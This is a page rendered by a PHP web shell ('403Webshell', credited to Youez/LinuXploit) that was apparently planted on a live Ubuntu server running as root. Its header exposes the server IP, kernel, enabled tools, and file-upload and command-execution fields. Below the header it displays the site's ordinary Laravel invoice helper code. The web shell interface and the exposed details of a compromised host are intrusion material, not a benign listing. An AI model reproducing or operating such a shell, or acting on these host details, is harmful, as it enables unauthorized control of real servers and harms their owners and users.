403Webshell
Server IP : 139.59.63.204  /  Your IP : 216.73.217.62
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu-s-1vcpu-1gb-blr1-01 6.8.0-110-generic #110-Ubuntu SMP PREEMPT_DYNAMIC Thu Mar 19 15:09:20 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/app/Helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/app/Helpers/Helper.php
<?php // Code within app\Helpers\Helper.php

namespace App\Helpers;
use App\Models\Industry;
use App\Mail\SendInvoice;
use App\Models\Invoice;
use App\Models\User;
use App\Models\InvoiceTemplate;
use Barryvdh\DomPDF\Facade\Pdf;
use Mail;
use Carbon\Carbon;

class Helper
{
    

    public static function totalPrice($gst,$price,$QTY )
    {
        $price = round($price,2)*$QTY;
        $tax=round($price,2)*round(($gst/100),2);
        $total=round(($price+$tax),2);
        return $total;
        //$calculatedTaxRate=(($total-$price)/$price)*100; 
    }

    public static function taxCal($gst,$price )
    {
        $price = round($price,2);
        $tax=round($price,2)*round(($gst/100),2);
        return $tax;
        //$calculatedTaxRate=(($total-$price)/$price)*100; 
    }

    public static function businessType()
    {
       $industries = Industry::orderBy('name')->get(['id','name']);
       return $industries;
    }

    public static function businessTypeById($id)
    {
       $name = Industry::where(['id'=>$id])->pluck('name')->first();
       return $name;
    }

    public static function sendEmail($id,$subject,$view_path){      
      
          $invoice = Invoice::findOrFail($id);
          $user    = User::findOrFail($invoice->user_id);

          $invoice = $invoice->leftjoin('line_items as li','li.invoice_id','=','invoices.id')->select('invoices.*','li.price','li.product_id','li.qty')->where(['li.invoice_id'=>$id,'li.posted_by'=>$invoice->user_id])->first();
          // \Log::info( $invoice->id);
           //\Log::info( "lfjlfasjlfsalofs  ");
          $view_name  =  @$user->invoice_template;
          $view_name  =  !empty($view_name)?$view_name:'invoice1';
          $view       =  strtok($view_name,'.');
          $pdf        =  pdf::loadView($view_path.'.pdf'.$view, compact('invoice','user'))->setOptions(['defaultFont' => 'Helvetica']);

          $customerData['name'] = $invoice->customers->firstname.' '.$invoice->customers->lastname;

          $data['attachment']= $pdf->stream('invoices.pdf');
          $data['attachment_name'] = $invoice->inv_id.'.pdf';
          $data['subject'] = $invoice->customers->firstname.' '.$invoice->customers->lastname .$subject.$invoice->inv_id.".pdf Generated";
          Mail::to($invoice->customers->email )->send(new SendInvoice($data,$customerData));
          Invoice::where(['id'=>$id])->update(['email_status'=>1]);
          return true;

        
    }

    public static function getInvoiceId($pre,$type,$id)
    {
        $count = Invoice::where(['user_id'=>$id,'type'=>$type])->count("*");
        $inv_id = $pre.$count+1;
        return  $inv_id ;
    }

    public static function getSendInvoiceDate($interval,$created_at)
    {
        $intervals = ["weekly","monthly","yearly"];
        $sendInvoiceDate = "";
        //////////    next invoice send date
        if(in_array($interval, $intervals))
        {
            if($interval == 'weekly')
            {
                $sendInvoiceDate = Carbon::parse($created_at)->addWeek()->format('Y-m-d');                         
            }
            else if($interval == 'monthly')
            {
                $sendInvoiceDate = Carbon::parse($created_at)->addMonth()->format('Y-m-d');
            }
            else if($interval == 'yearly')
            {
                $sendInvoiceDate = Carbon::parse($created_at)->addYear()->format('Y-m-d');
            }
        }

        return $sendInvoiceDate;
    }

   
}

Youez - 2016 - github.com/yon3zu
LinuXploit